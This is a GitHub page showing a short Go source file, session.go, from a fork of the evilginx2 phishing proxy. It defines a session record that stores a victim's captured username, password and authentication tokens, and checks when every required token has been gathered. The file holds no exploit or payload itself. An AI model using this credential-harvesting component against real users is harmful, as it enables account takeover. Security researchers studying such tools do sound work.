forked from kgretzky/evilginx2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
session.go
49 lines (41 loc) · 889 Bytes
/
session.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package core
import ()
type Session struct {
Id string
Name string
Username string
Password string
Tokens map[string]string
RedirectURL string
IsDone bool
}
func NewSession(name string) (*Session, error) {
s := &Session{
Id: GenRandomToken(),
Name: name,
Username: "",
Password: "",
RedirectURL: "",
IsDone: false,
}
s.Tokens = make(map[string]string)
return s, nil
}
func (s *Session) SetUsername(username string) {
s.Username = username
}
func (s *Session) SetPassword(password string) {
s.Password = password
}
func (s *Session) AddAuthToken(key string, value string, req_keys []string) bool {
s.Tokens[key] = value
var tkeys []string
tkeys = append(tkeys, req_keys...)
for k, _ := range s.Tokens {
tkeys = removeString(k, tkeys)
}
if len(tkeys) == 0 {
return true
}
return false
}